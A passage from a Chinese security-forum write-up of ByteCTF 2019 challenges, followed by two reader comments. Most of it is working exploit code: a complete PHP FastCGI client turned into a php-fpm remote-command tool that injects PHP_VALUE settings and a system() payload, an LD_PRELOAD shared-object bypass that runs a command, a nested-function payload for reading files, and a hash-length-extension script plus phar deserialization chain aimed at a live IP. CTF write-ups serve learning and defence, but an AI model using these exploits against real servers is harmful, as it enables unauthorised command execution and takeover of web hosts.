/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@adoy.net>
* @version     1.0.0
*/
class Client
{
   const VERSION_1            = 1;
   const BEGIN_REQUEST        = 1;
   const ABORT_REQUEST        = 2;
   const END_REQUEST          = 3;
   const PARAMS               = 4;
   const STDIN                = 5;
   const STDOUT               = 6;
   const STDERR               = 7;
   const DATA                 = 8;
   const GET_VALUES           = 9;
   const GET_VALUES_RESULT    = 10;
   const UNKNOWN_TYPE         = 11;
   const MAXTYPE              = self::UNKNOWN_TYPE;
   const RESPONDER            = 1;
   const AUTHORIZER           = 2;
   const FILTER               = 3;
   const REQUEST_COMPLETE     = 0;
   const CANT_MPX_CONN        = 1;
   const OVERLOADED           = 2;
   const UNKNOWN_ROLE         = 3;
   const MAX_CONNS            = 'MAX_CONNS';
   const MAX_REQS             = 'MAX_REQS';
   const MPXS_CONNS           = 'MPXS_CONNS';
   const HEADER_LEN           = 8;
   const REQ_STATE_WRITTEN    = 1;
   const REQ_STATE_OK         = 2;
   const REQ_STATE_ERR        = 3;
   const REQ_STATE_TIMED_OUT  = 4;
   /**
    * Socket
    * @var Resource
    */
   private $_sock = null;
   /**
    * Host
    * @var String
    */
   private $_host = null;
   /**
    * Port
    * @var Integer
    */
   private $_port = null;
   /**
    * Keep Alive
    * @var Boolean
    */
   private $_keepAlive = false;
   /**
    * Outstanding request statuses keyed by request id
    *
    * Each request is an array with following form:
    *
    *  array(
    *    'state' => REQ_STATE_*
    *    'response' => null | string
    *  )
    *
    * @var array
    */
   private $_requests = array();
```

```
/**
 * Use persistent sockets to connect to backend
 * @var Boolean
 */
private $_persistentSocket = false;
/**
 * Connect timeout in milliseconds
 * @var Integer
 */
private $_connectTimeout = 5000;
/**
 * Read/Write timeout in milliseconds
 * @var Integer
 */
private $_readWriteTimeout = 5000;
/**
 * Constructor
 *
 * @param String $host Host of the FastCGI application
 * @param Integer $port Port of the FastCGI application
 */
public function __construct($host, $port)
{
    $this->_host = $host;
    $this->_port = $port;
}
/**
 * Define whether or not the FastCGI application should keep the connection
 * alive at the end of a request
 *
 * @param Boolean $b true if the connection should stay alive, false otherwise
 */
public function setKeepAlive($b)
{
    $this->_keepAlive = (boolean)$b;
    if (!$this->_keepAlive && $this->_sock) {
        fclose($this->_sock);
    }
}
/**
 * Get the keep alive status
 *
 * @return Boolean true if the connection should stay alive, false otherwise
 */
public function getKeepAlive()
{
    return $this->_keepAlive;
}
/**
 * Define whether or not PHP should attempt to re-use sockets opened by previous
 * request for efficiency
 *
 * @param Boolean $b true if persistent socket should be used, false otherwise
 */
public function setPersistentSocket($b)
{
    $was_persistent = ($this->_sock && $this->_persistentSocket);
    $this->_persistentSocket = (boolean)$b;
    if (!$this->_persistentSocket && $was_persistent) {
        fclose($this->_sock);
    }
}
/**
 * Get the pesistent socket status
 *
 * @return Boolean true if the socket should be persistent, false otherwise
 */
public function getPersistentSocket()
{
```

```
    return $this->_persistentSocket;
}
/**
 * Set the connect timeout
 *
 * @param Integer  number of milliseconds before connect will timeout
 */
public function setConnectTimeout($timeoutMs)
{
    $this->_connectTimeout = $timeoutMs;
}
/**
 * Get the connect timeout
 *
 * @return Integer  number of milliseconds before connect will timeout
 */
public function getConnectTimeout()
{
    return $this->_connectTimeout;
}
/**
 * Set the read/write timeout
 *
 * @param Integer  number of milliseconds before read or write call will timeout
 */
public function setReadWriteTimeout($timeoutMs)
{
    $this->_readWriteTimeout = $timeoutMs;
    $this->set_ms_timeout($this->_readWriteTimeout);
}
/**
 * Get the read timeout
 *
 * @return Integer  number of milliseconds before read will timeout
 */
public function getReadWriteTimeout()
{
    return $this->_readWriteTimeout;
}
/**
 * Helper to avoid duplicating milliseconds to secs/usecs in a few places
 *
 * @param Integer millisecond timeout
 * @return Boolean
 */
private function set_ms_timeout($timeoutMs) {
    if (!$this->_sock) {
        return false;
    }
    return stream_set_timeout($this->_sock, floor($timeoutMs / 1000), ($timeoutMs % 1000) * 1000);
}
/**
 * Create a connection to the FastCGI application
 */
private function connect()
{
    if (!$this->_sock) {
        if ($this->_persistentSocket) {
            $this->_sock = pfsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout/1000);
        } else {
            $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout/1000);
        }
        if (!$this->_sock) {
            throw new \Exception('Unable to connect to FastCGI application: ' . $errstr);
        }
        if (!$this->set_ms_timeout($this->_readWriteTimeout)) {
            throw new \Exception('Unable to set timeout on socket');
        }
    }
```

```
}
/**
 * Build a FastCGI packet
 *
 * @param Integer $type Type of the packet
 * @param String $content Content of the packet
 * @param Integer $requestId RequestId
 */
private function buildPacket($type, $content, $requestId = 1)
{
    $clen = strlen($content);
    return chr(self::VERSION_1)         /* version */
        . chr($type)                    /* type */
        . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
        . chr($requestId & 0xFF)        /* requestIdB0 */
        . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
        . chr($clen & 0xFF)             /* contentLengthB0 */
        . chr(0)                        /* paddingLength */
        . chr(0)                        /* reserved */
        . $content;                     /* content */
}
/**
 * Build an FastCGI Name value pair
 *
 * @param String $name Name
 * @param String $value Value
 * @return String FastCGI Name value pair
 */
private function buildNvpair($name, $value)
{
    $nlen = strlen($name);
    $vlen = strlen($value);
    if ($nlen < 128) {
        /* nameLengthB0 */
        $nvpair = chr($nlen);
    } else {
        /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
        $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
    }
    if ($vlen < 128) {
        /* valueLengthB0 */
        $nvpair .= chr($vlen);
    } else {
        /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
        $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
    }
    /* nameData & valueData */
    return $nvpair . $name . $value;
}
/**
 * Read a set of FastCGI Name value pairs
 *
 * @param String $data Data containing the set of FastCGI NVPair
 * @return array of NVPair
 */
private function readNvpair($data, $length = null)
{
    $array = array();
    if ($length === null) {
        $length = strlen($data);
    }
    $p = 0;
    while ($p != $length) {
        $nlen = ord($data{$p++});
        if ($nlen >= 128) {
            $nlen = ($nlen & 0x7F << 24);
            $nlen |= (ord($data{$p++}) << 16);
            $nlen |= (ord($data{$p++}) << 8);
            $nlen |= (ord($data{$p++}));
```

```
        }
        $vlen = ord($data{$p++});
        if ($vlen >= 128) {
            $vlen = ($nlen & 0x7F << 24);
            $vlen |= (ord($data{$p++}) << 16);
            $vlen |= (ord($data{$p++}) << 8);
            $vlen |= (ord($data{$p++}));
        }
        $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
        $p += ($nlen + $vlen);
    }
    return $array;
}
/**
 * Decode a FastCGI Packet
 *
 * @param String $data String containing all the packet
 * @return array
 */
private function decodePacketHeader($data)
{
    $ret = array();
    $ret['version']       = ord($data{0});
    $ret['type']          = ord($data{1});
    $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
    $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
    $ret['paddingLength'] = ord($data{6});
    $ret['reserved']      = ord($data{7});
    return $ret;
}
/**
 * Read a FastCGI Packet
 *
 * @return array
 */
private function readPacket()
{
    if ($packet = fread($this->_sock, self::HEADER_LEN)) {
        $resp = $this->decodePacketHeader($packet);
        $resp['content'] = '';
        if ($resp['contentLength']) {
            $len  = $resp['contentLength'];
            while ($len && ($buf=fread($this->_sock, $len)) !== false) {
                $len -= strlen($buf);
                $resp['content'] .= $buf;
            }
        }
        if ($resp['paddingLength']) {
            $buf = fread($this->_sock, $resp['paddingLength']);
        }
        return $resp;
    } else {
        return false;
    }
}
/**
 * Get Informations on the FastCGI application
 *
 * @param array $requestedInfo information to retrieve
 * @return array
 */
public function getValues(array $requestedInfo)
{
    $this->connect();
    $request = '';
    foreach ($requestedInfo as $info) {
        $request .= $this->buildNvpair($info, '');
    }
    fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
```

```
    $resp = $this->readPacket();
    if ($resp['type'] == self::GET_VALUES_RESULT) {
        return $this->readNvpair($resp['content'], $resp['length']);
    } else {
        throw new \Exception('Unexpected response type, expecting GET_VALUES_RESULT');
    }
}
/**
 * Execute a request to the FastCGI application
 *
 * @param array $params Array of parameters
 * @param String $stdin Content
 * @return String
 */
public function request(array $params, $stdin)
{
    $id = $this->async_request($params, $stdin);
    return $this->wait_for_response($id);
}
/**
 * Execute a request to the FastCGI application asyncronously
 *
 * This sends request to application and returns the assigned ID for that request.
 *
 * You should keep this id for later use with wait_for_response(). Ids are chosen randomly
 * rather than seqentially to guard against false-positives when using persistent sockets.
 * In that case it is possible that a delayed response to a request made by a previous script
 * invocation comes back on this socket and is mistaken for response to request made with same ID
 * during this request.
 *
 * @param array $params Array of parameters
 * @param String $stdin Content
 * @return Integer
 */
public function async_request(array $params, $stdin)
{
    $this->connect();
    // Pick random number between 1 and max 16 bit unsigned int 65535
    $id = mt_rand(1, (1 << 16) - 1);
    // Using persistent sockets implies you want them keept alive by server!
    $keepAlive = intval($this->_keepAlive || $this->_persistentSocket);
    $request = $this->buildPacket(self::BEGIN_REQUEST
                                ,chr(0) . chr(self::RESPONDER) . chr($keepAlive) . str_repeat(chr(0), 5)
                                ,$id
                                );
    $paramsRequest = '';
    foreach ($params as $key => $value) {
        $paramsRequest .= $this->buildNvpair($key, $value, $id);
    }
    if ($paramsRequest) {
        $request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
    }
    $request .= $this->buildPacket(self::PARAMS, '', $id);
    if ($stdin) {
        $request .= $this->buildPacket(self::STDIN, $stdin, $id);
    }
    $request .= $this->buildPacket(self::STDIN, '', $id);
    if (fwrite($this->_sock, $request) === false || fflush($this->_sock) === false) {
        $info = stream_get_meta_data($this->_sock);
        if ($info['timed_out']) {
            throw new TimedOutException('Write timed out');
        }
        // Broken pipe, tear down so future requests might succeed
        fclose($this->_sock);
        throw new \Exception('Failed to write request to socket');
    }
    $this->_requests[$id] = array(
        'state' => self::REQ_STATE_WRITTEN,
        'response' => null
```

```
    );
    return $id;
}
/**
 * Blocking call that waits for response to specific request
 *
 * @param Integer $requestId
 * @param Integer $timeoutMs [optional] the number of milliseconds to wait. Defaults to the ReadWriteTimeout value set.
 * @return string  response body
 */
public function wait_for_response($requestId, $timeoutMs = 0) {
    if (!isset($this->_requests[$requestId])) {
        throw new \Exception('Invalid request id given');
    }
    // If we already read the response during an earlier call for different id, just return it
    if ($this->_requests[$requestId]['state'] == self::REQ_STATE_OK
        || $this->_requests[$requestId]['state'] == self::REQ_STATE_ERR
        ) {
        return $this->_requests[$requestId]['response'];
    }
    if ($timeoutMs > 0) {
        // Reset timeout on socket for now
        $this->set_ms_timeout($timeoutMs);
    } else {
        $timeoutMs = $this->_readWriteTimeout;
    }
    // Need to manually check since we might do several reads none of which timeout themselves
    // but still not get the response requested
    $startTime = microtime(true);
    do {
        $resp = $this->readPacket();
        if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
            if ($resp['type'] == self::STDERR) {
                $this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_ERR;
            }
            $this->_requests[$resp['requestId']]['response'] .= $resp['content'];
        }
        if ($resp['type'] == self::END_REQUEST) {
            $this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_OK;
            if ($resp['requestId'] == $requestId) {
                break;
            }
        }
        if (microtime(true) - $startTime >= ($timeoutMs * 1000)) {
            // Reset
            $this->set_ms_timeout($this->_readWriteTimeout);
            throw new \Exception('Timed out');
        }
    } while ($resp);
    if (!is_array($resp)) {
        $info = stream_get_meta_data($this->_sock);
        // We must reset timeout but it must be AFTER we get info
        $this->set_ms_timeout($this->_readWriteTimeout);
        if ($info['timed_out']) {
            throw new TimedOutException('Read timed out');
        }
        if ($info['unread_bytes'] == 0
                && $info['blocked']
                && $info['eof']) {
            throw new ForbiddenException('Not in white list. Check listen.allowed_clients.');
        }
        throw new \Exception('Read failed');
    }
    // Reset timeout
    $this->set_ms_timeout($this->_readWriteTimeout);
    switch (ord($resp['content']{4})) {
        case self::CANT_MPX_CONN:
            throw new \Exception('This app can\'t multiplex [CANT_MPX_CONN]');
            break;
```

```
            case self::OVERLOADED:
                throw new \Exception('New request rejected; too busy [OVERLOADED]');
                break;
            case self::UNKNOWN_ROLE:
                throw new \Exception('Role value not known [UNKNOWN_ROLE]');
                break;
            case self::REQUEST_COMPLETE:
                return $this->_requests[$requestId]['response'];
        }
    }
}
if (!isset($_REQUEST['cmd'])) {
    die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
    $filepath = __FILE__;
}else{
    $filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
if (strpos($_REQUEST['host'], 'unix://') !== false) {
    $client = new Client($_REQUEST['host']);
}else{
    $client = new Client($_REQUEST['host'], $_REQUEST['port']);
}
$code = "<?php system(\$_REQUEST['command']);?>"; // php payload
if (version_compare(PHP_VERSION, '5.4.0') >= 0) {
    $php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
}else{
    $php_value = "allow_url_include = On\nsafe_mode = Off\nopen_basedir = /\nauto_prepend_file = php://input\ndisable_function=
}
$params = array(
        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD'    => 'POST',
        'SCRIPT_FILENAME'   => $filepath,
        'SCRIPT_NAME'       => $req,
        'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
        'REQUEST_URI'       => $uri,
        'DOCUMENT_URI'      => $req,
        #'DOCUMENT_ROOT'     => '/',
        'PHP_VALUE'         => $php_value,
        'SERVER_SOFTWARE'   => '80sec/wofeiwo',
        'REMOTE_ADDR'       => '127.0.0.1',
        'REMOTE_PORT'       => '9985',
        'SERVER_ADDR'       => '127.0.0.1',
        'SERVER_PORT'       => '80',
        'SERVER_NAME'       => 'localhost',
        'SERVER_PROTOCOL'   => 'HTTP/1.1',
        'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
echo "Call: $uri\n\n";
echo strstr($client->request($params, $code), "PHP Version", true)."\n";
?>

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("/readflag > /tmp/Sndav/flag");
}
`
```

boring_code

使用xxxbaidu.com绕过校验，考虑如何通过正则样子的函数，读取到flag。

```
url=http://ip/?code=echo(readfile(end(scandir(pos(localeconv())))));
```

可以列目录，但是读上一层的文件要么拼接字符串"../index.php"，要么就chroot/chdir。
chroot/chdir会返回一个true，还需要有另一个函数可以处理这个参数。决定使用 true->1->46->'.'，这个思路，最终payload

```
url=http%3A%2F%2FIP%2Frua.php%3Fcode%3Decho(readfile(end(scandir(chr(floor(sqrt(sinh(sqrt(sinh(sinh(sinh(asin(ceil(ceil(chdir(
```

EzCMS

1. 哈希扩展攻击
2. 上传phar文件，配合反序列化扩展攻击面
3. 选择ZipArchive 类，利用其open函数，移除掉.htaccess

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import hashpumpy
import requests

# ?*8 adminadmin
result = hashpumpy.hashpump('52107b08c0f3342d2153ae1d68e6262c', 'adminadmin', 'a', 8)

from urllib import *
data = {
   'username':'admin',
   'password': quote(result[1][5:])
}
cookies = {
   'PHPSESSID':'1tdp5bqfks5mcsnbrjcbff90rs',
   'user':result[0]
}

a = requests.post('http://112.126.102.158:9999/index.php',data=data,cookies=cookies)

print cookies
```

```
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
//include "config.php";

//@unlink("phar.phar");

class Profile{
   public $username;
   public $password;
   public $admin;
}

class File{
   public $filename;
   public $filepath;
   public $checker;
}

$phar = new Phar("sissel_lala.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //■■stub■■■gif■■■
$o = new File();

$o->filename = "./sandbox/d64424a2bb45ef9baa40f945b741d6ee/c77e74e3c317a8fb80b46d0a4ada6473.sissel";
$o->filepath = "./sandbox/d64424a2bb45ef9baa40f945b741d6ee/.htaccess";
$o->checker = new Profile();

$o->checker->username = "/var/www/html/sandbox/d64424a2bb45ef9baa40f945b741d6ee/.htaccess";
$o->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
$o->checker->admin = new ZipArchive();

//$o = serialize($o);
```

```
$phar->setMetadata($o); //■■■■meta-data■■manifest
$phar->addFromString("aaa.txt", "test"); //■■■■■■■■
//■■■■■■
$phar->stopBuffering();
```

点击收藏 | 1 关注 | 1

上一篇：某cms 2019版本代码审计 下一篇：浅析WordPress5.0存储型...

1. 2 条回复

sket****pl4ne 2019-09-24 17:50:16

膜

0 回复Ta

yz2**** 2019-10-03 23:02:09

终于有ddd的wp了，感谢！
linux_moddump命令等很久之后是可以dump个二进制来的，但跟sftp中拿到的区别很大，不会用..
linux_check_syscall 执行会报如下错，大佬知道是为啥吗？

```
root@kali:~/data/bytectf# volatility --plugins=profiles -f 1.mem --profile=LinuxUbuntu1604x64 linux_check_syscall
Volatility Foundation Volatility Framework 2.6
Table Name Index System Call             Handler Address    Symbol
---------- ----- ---------------------- ------------------ --------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/bin/volatility", line 192, in <module>
    main()
  File "/usr/bin/volatility", line 183, in main
    command.execute()
  File "/usr/lib/python2.7/dist-packages/volatility/plugins/linux/common.py", line 67, in execute
    commands.Command.execute(self, *args, **kwargs)
  File "/usr/lib/python2.7/dist-packages/volatility/commands.py", line 147, in execute
    func(outfd, data)
  File "/usr/lib/python2.7/dist-packages/volatility/plugins/linux/check_syscall.py", line 322, in render_text
    for (tableaddr, table_name, i, idx_name, call_addr, sym_name, _) in data:
  File "/usr/lib/python2.7/dist-packages/volatility/plugins/linux/check_syscall.py", line 305, in calculate
    for (tableaddr, table_name, i, idx_name, call_addr, sym_name, hooked) in self.get_syscalls(None, True, True):
  File "/usr/lib/python2.7/dist-packages/volatility/plugins/linux/check_syscall.py", line 217, in get_syscalls
    sym_name = self._compute_hook_sym_name(visible_mods, hidden_mods, call_addr)
  File "/usr/lib/python2.7/dist-packages/volatility/plugins/linux/check_syscall.py", line 141, in _compute_hook_sym_name
    sym = module.get_symbol_for_address(call_addr)
  File "/usr/lib/python2.7/dist-packages/volatility/plugins/overlays/linux/linux.py", line 1023, in get_symbol_for_addres
    for (sym_name, sym_addr) in self.get_symbols():
  File "/usr/lib/python2.7/dist-packages/volatility/plugins/overlays/linux/linux.py", line 1005, in get_symbols
    sym_name_addr = self.strtab + sym_struct.st_name
  File "/usr/lib/python2.7/dist-packages/volatility/obj.py", line 751, in __getattr__
    return self.m(attr)
  File "/usr/lib/python2.7/dist-packages/volatility/obj.py", line 733, in m
    raise AttributeError("Struct {0} has no member {1}".format(self.obj_name, attr))
AttributeError: Struct module has no member strtab
root@kali:~/data/bytectf#
```


0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板